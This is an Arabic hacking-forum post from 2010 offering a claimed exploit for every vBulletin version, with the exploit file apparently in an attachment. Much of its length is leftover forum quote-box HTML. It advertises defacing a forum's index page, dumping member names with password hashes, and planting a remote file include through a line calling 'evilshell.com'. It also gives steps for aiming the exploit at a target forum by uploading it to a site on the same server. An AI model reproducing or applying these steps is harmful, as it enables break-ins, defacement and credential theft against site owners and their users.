الأن ثغرة vBulletin لجميع الإصدارات !!!

الأربعاء أكتوبر 13, 2010 2:11 pm

السلام عليكم ورحمة الله وبركاتة

اليوم جبت لكم ثغرة طازجة للمنتديات من نوع vBulletin التي تستخدمها اغلب المواقع

الثغرة في المرفقات

معلومات الثغرة:
البرنامج المصاب : vBulletin
النسخة المصابة : جميع النسخ
الخطر : عالية الخطورة

وظائف الثغرة:
1- تعديل الاندكس للمنتدى الى صفحة الإختراق. (لاصحاب الشهرة)
2- عرض اسماء الاعضاء مع الباسووردتا المشفرة. (للمحللين)
3- عمل ثغرة ريموت فايل انكلود للمنتدى. (الأفضل للشلات)
مثل

كود PHP:
index.php?cmd=http://evilshell.com

الشرح:
تعدل في ملف الثغرة في السطر التالي وتكتب مسار المنتدى المراد اختراقة:

<TABLE border=0 cellSpacing=0 cellPadding=0 width="100%">

<TR>
<td vAlign=bottom width=75><TABLE border=0 cellSpacing=0 cellPadding=0 width=50>

<TR>
<td class=smallfont vAlign=top width=28> الأن ثغرة vBulletin لجميع الإصدارات !!! Quot-top-left

الأن ثغرة vBulletin لجميع الإصدارات !!! Quot-top-left

</TD>
<td style="BACKGROUND-IMAGE: url(dragon/misc/quotes/quote-bg.gif); BACKGROUND-POSITION: center 50%" class=smallfont vAlign=center width="100%">اقتباس:</TD>
<td class=smallfont vAlign=top> الأن ثغرة vBulletin لجميع الإصدارات !!! Quot-top-right

الأن ثغرة vBulletin لجميع الإصدارات !!! Quot-top-right

</TD></TR></TABLE></TD>
<td style="BACKGROUND-IMAGE: url(dragon/misc/quotes/quot-lr-bg.gif)" vAlign=bottom align=left></TD>
<td vAlign=bottom width="100%" align=right><TABLE border=0 cellSpacing=0 cellPadding=0 width="100%">

<TR>
<td width="100%"><TABLE border=0 cellSpacing=0 cellPadding=0 width="100%">

<TR>
<td style="BACKGROUND-IMAGE: url(dragon/misc/quotes/quot-top-bg.gif)" vAlign=center width="100%"></TD>
<td class=smallfont vAlign=top align=left> الأن ثغرة vBulletin لجميع الإصدارات !!! Quot-top-right-10

الأن ثغرة vBulletin لجميع الإصدارات !!! Quot-top-right-10

</TD></TR></TABLE></TD></TR></TABLE></TD></TR></TABLE>
<TABLE border=0 cellSpacing=0 cellPadding=0 width="100%">

<TR>
<td style="BACKGROUND-IMAGE: url(dragon/misc/quotes/quoting-left.gif)" width=10></TD>
<td bgColor=#ffffff vAlign=top width="100%"></TD>
<td style="BACKGROUND-IMAGE: url(dragon/misc/quotes/quoting-right.gif)" width=10></TD></TR>
<TR>
<td style="BACKGROUND-IMAGE: url(dragon/misc/quotes/quot-left-bg.gif)" width=10></TD>
<td class=smallfont bgColor=#ffffff vAlign=top width="100%">require("/home/site/public_html/vb/includes/config.php ");

</TD>
<td style="BACKGROUND-IMAGE: url(dragon/misc/quotes/quot-right-bg.gif)" width=10></TD></TR>
<TR>
<td vAlign=bottom width=10> الأن ثغرة vBulletin لجميع الإصدارات !!! Quot-bot-left

الأن ثغرة vBulletin لجميع الإصدارات !!! Quot-bot-left

</TD>
<td style="BACKGROUND-IMAGE: url(dragon/misc/quotes/quot-bot-bg.gif)" width="100%"></TD>
<td vAlign=bottom width=10> الأن ثغرة vBulletin لجميع الإصدارات !!! Quot-bot-right

الأن ثغرة vBulletin لجميع الإصدارات !!! Quot-bot-right

</TD></TR></TABLE>

وتعدله إلى اسمك أو اي شيء لإبراز الإختراق! (لا تعدله خليه على كذا هههههههه)

لكي تخترق اي منتدى يجب ان ترفع ملف الثغرة على اي موقع على نفس السيرفر[/b]
ولازم يكون open_basedir مسموح على السيرفر

الأن ثغرة vBulletin لجميع الإصدارات !!! 3

لاحد يقرب من المواقع العربية اوك الأن ثغرة vBulletin لجميع الإصدارات !!! 3

تشااااااااو الأن ثغرة vBulletin لجميع الإصدارات !!! 3